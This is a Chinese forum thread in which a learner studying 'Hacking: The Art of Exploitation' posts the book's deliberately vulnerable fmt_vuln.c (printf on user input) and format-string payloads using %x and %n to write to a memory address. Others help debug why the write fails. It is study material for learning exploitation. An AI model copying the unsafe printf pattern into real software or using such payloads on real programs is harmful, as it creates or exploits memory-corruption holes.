免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 2765 | 回复: 2
打印 上一主题 下一主题

无法向任意存储地址写入数据? [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2009-10-12 14:13 |只看该作者 |倒序浏览
10可用积分
小弟最近在研究《hacking the art of exploitation》,在第三章中,fmt_vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc,char* argv[])
{
        char text[1024];
        static int test_val = -72;

        if(argc < 2)
        {
                printf("Usage:%s<text to print>\n",argv[0]);
                exit(0);
        }
        strcpy(text,argv[1]);

        printf("The right way to print user-controlled input:\n");
        printf("%s",text);

        printf("\nThe wrong way to print user-controlled input:\n");
        printf(text);

        printf("\n");

        printf("
  • test_val @ 0x%08x = %d 0x%08x\n",&test_val,test_val,test_val);

            exit(0);
    }
    我在终端调试 ,本人机器上test_val地址为0x08049858.
    ./fmt_vuln $(printf "\x58\x98\x04\x08")%08x.%08x.%08x.%n
    输出:
      The right way to print user-controlled input:
    X
  • 论坛徽章:
    0
    2 [报告]
    发表于 2009-10-12 15:25 |只看该作者
    把下面的输出贴来看看。。。。。
    ./fmt_vuln 'printf "\x58\x98\x04\x08"'%08x.%08x.%08x.%x

    [ 本帖最后由 emperor 于 2009-10-12 16:08 编辑 ]

    论坛徽章:
    0
    3 [报告]
    发表于 2009-10-13 08:15 |只看该作者
    The right way to print user-controlled input:
    printf "\x58\x98\x04\x08"%08x.%08x.%08x.%x
    The wrong way to print user-controlled input:
    printf "\x58\x98\x04\x08"bffa27e4.00000000.bffa2960.bffa2c00
    test_val @ 0x08049858 = -72 0xffffffb8
    您需要登录后才可以回帖 登录 | 注册

    本版积分规则 发表回复

      

    北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
    未成年举报专区
    中国互联网协会会员  联系我们:huangweiwei@itpub.net
    感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

    清除 Cookies - ChinaUnix - Archiver - WAP - TOP